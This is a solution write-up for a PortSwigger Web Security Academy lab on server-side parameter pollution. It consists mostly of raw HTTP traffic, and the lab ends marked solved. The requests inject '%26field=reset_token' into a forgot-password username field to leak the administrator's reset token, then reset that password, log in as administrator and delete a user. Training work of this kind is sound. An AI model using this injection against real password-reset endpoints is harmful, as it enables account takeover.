Port Swigger Exploiting server side parameter poll

Exploiting server-side parameter pollution in a query string

Solution

Open the website: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login

Login panel: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login

Sent random request - random login request

POST /login HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=ssss&password=dddd

Add # to username

Payload: administrator%23

Get error: Field not specified
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 63
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%23
---
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}

Add parametr "field"

Payload: %26field=username
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 77
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%26field=username

Read file: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/static/js/forgotPassword.js

GET /static/js/forgotPassword.js HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers

---
...
forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
...

Get reset_token

Get reset_token

reset_token=vq4938atl8kfvprbu39pw11sitjeimex
---
POST /forgot-password HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 80
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator%26field=reset_token
---
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"vq4938atl8kfvprbu39pw11sitjeimex","type":"reset_token"}

Reset password for user: administrator

GET /forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password
Content-Type: x-www-form-urlencoded
Content-Length: 0
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
---
POST /forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/forgot-password?reset_token=vq4938atl8kfvprbu39pw11sitjeimex
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&reset_token=vq4938atl8kfvprbu39pw11sitjeimex&new-password-1=Qwerty123&new-password-2=Qwerty123

Login as user: administrator with a new password

POST /login HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=1F26hc1FbsWAgGoTnMGpQH0GbXafCMyT
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=h5kpNK67MoHoTm0cycYVCdXkqTGqea1R&username=administrator&password=Qwerty123
---
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Delete user: carlos

GET /admin/delete?username=carlos HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
HTTP/2 302 Found
Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
---
GET /admin HTTP/2
Host: 0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net
Cookie: session=medWFDDWsq8R91HDLvbrd24IkUPUqIbz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2200bd030c8e1d84e6285600e5005d.web-security-academy.net/admin/delete?username=carlos
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 6094

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>Exploiting server-side parameter pollution in a query string</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner is-solved'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>Exploiting server-side parameter pollution in a query string</h2>
                            <a class=link-back href='https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-solved'>
                            <span>LAB</span>
                            <p>Solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
            <section id=notification-labsolved class=notification-labsolved>
                <div class=container>
                    <h4>Congratulations, you solved the lab!</h4>
                    <div>
                        <span>
                            Share your skills!
                        </span>
                        <a class=button href='https://twitter.com/intent/tweet?text=I+completed+the+Web+Security+Academy+lab%3a%0aExploiting+server-side+parameter+pollution+in+a+query+string%0a%0a@WebSecAcademy%0a&url=https%3a%2f%2fportswigger.net%2fweb-security%2fapi-testing%2fserver-side-parameter-pollution%2flab-exploiting-server-side-parameter-pollution-in-query-string&related=WebSecAcademy,Burp_Suite'>
                    <svg xmlns='http://www.w3.org/2000/svg' width=24 height=24 viewBox='0 0 20.44 17.72'>
                        <title>twitter-button</title>
                        <path d='M0,15.85c11.51,5.52,18.51-2,18.71-12.24.3-.24,1.73-1.24,1.73-1.24H18.68l1.43-2-2.74,1a4.09,4.09,0,0,0-5-.84c-3.13,1.44-2.13,4.94-2.13,4.94S6.38,6.21,1.76,1c-1.39,1.56,0,5.39.67,5.73C2.18,7,.66,6.4.66,5.9-.07,9.36,3.14,10.54,4,10.72a2.39,2.39,0,0,1-2.18.08c-.09,1.1,2.94,3.33,4.11,3.27A10.18,10.18,0,0,1,0,15.85Z'></path>
                    </svg>
                        </a>
                        <a class=button href='https://www.linkedin.com/sharing/share-offsite?url=https%3a%2f%2fportswigger.net%2fweb-security%2fapi-testing%2fserver-side-parameter-pollution%2flab-exploiting-server-side-parameter-pollution-in-query-string'>
                    <svg viewBox='0 0 64 64' width='24' xml:space='preserve' xmlns='http://www.w3.org/2000/svg'
                        <title>linkedin-button</title>
                        <path d='M2,6v52c0,2.2,1.8,4,4,4h52c2.2,0,4-1.8,4-4V6c0-2.2-1.8-4-4-4H6C3.8,2,2,3.8,2,6z M19.1,52H12V24.4h7.1V52z    M15.6,18.9c-2,0-3.6-1.5-3.6-3.4c0-1.9,1.6-3.4,3.6-3.4c2,0,3.6,1.5,3.6,3.4C19.1,17.4,17.5,18.9,15.6,18.9z M52,52h-7.1V38.2   c0-2.9-0.1-4.8-0.4-5.7c-0.3-0.9-0.8-1.5-1.4-2c-0.7-0.5-1.5-0.7-2.4-0.7c-1.2,0-2.3,0.3-3.2,1c-1,0.7-1.6,1.6-2,2.7   c-0.4,1.1-0.5,3.2-0.5,6.2V52h-8.6V24.4h7.1v4.1c2.4-3.1,5.5-4.7,9.2-4.7c1.6,0,3.1,0.3,4.5,0.9c1.3,0.6,2.4,1.3,3.1,2.2   c0.7,0.9,1.2,1.9,1.4,3.1c0.3,1.1,0.4,2.8,0.4,4.9V52z'/>
                    </svg>
                        </a>
                        <a href='https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-query-string'>
                            Continue learning 
                            <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                <g>
                                    <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                    <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                </g>
                            </svg>
                        </a>
                    </div>
                </div>
            </section>
        </div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/admin">Admin panel</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <section>
                        <p>User deleted successfully!</p>
                        <h1>Users</h1>
                    </section>
                    <br>
                    <hr>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>

Solved